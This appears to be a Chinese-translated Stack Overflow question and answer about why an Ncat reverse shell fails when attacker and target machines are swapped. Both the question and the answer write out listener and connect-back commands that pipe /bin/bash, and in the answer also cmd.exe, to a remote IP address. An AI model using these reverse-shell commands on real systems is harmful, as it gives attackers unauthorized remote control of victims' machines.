【问题标题】:Ncat reverse shell, No connectionNcat反向shell,无连接
【发布时间】:2022-08-20 19:59:41
【问题描述】:

我在使用 Ncat(Nmap 的工具)建立反向 shell 时遇到问题。起初它工作正常,但是当我交换目标和攻击机器时它没有。

情况1:我设置了一个Ubuntu虚拟专用服务器(IP地址:172.105.253.156),这里Ubuntu机器是我的攻击机器,我的本地Linux机器是目标。然后我在我的攻击机器上执行了这个命令:

ncat -lnv 172.105.253.156 489

现在我试图从我的本地机器(目标)连接到我的攻击机器,所以,我执行了这个:

ncat -e \"/bin/bash\" 172.105.253.156 489

这样一来,反向外壳就完美建立了。

案例二:但是在这里,当我尝试交换我的机器并在我的本地机器上监听目标时,因此通过尝试从 Ubuntu 机器(目标)连接到攻击者(我的本地 Linux 机器),它们之间没有建立连接。

我对反向壳的概念完全陌生。

  • SO是一个编程问答平台,这个问题与编程无关。 What topics can I ask about here? 请删除此内容。关于操作系统、它们的实用程序、网络和硬件的问题,不在此处讨论。
  • 除了@Rob 写的内容,尽可能在代码框中而不是图像中发布文本

标签: linux netcat reverse-shell


【解决方案1】:

在你的机器上

nc -nlvp 172.105.253.156 489

在受害者机器上

nc 172.105.253.156 489 –e /bin/bash

或者对于 Windows

nc.exe 172.105.253.156 489 –e cmd.exe

供参考:https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/

【讨论】:

  • 其实这就是我正在做的。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2018-07-06
  • 1970-01-01
  • 1970-01-01
  • 2019-01-06
  • 2017-01-04
  • 2013-10-07
  • 1970-01-01
相关资源
最近更新 更多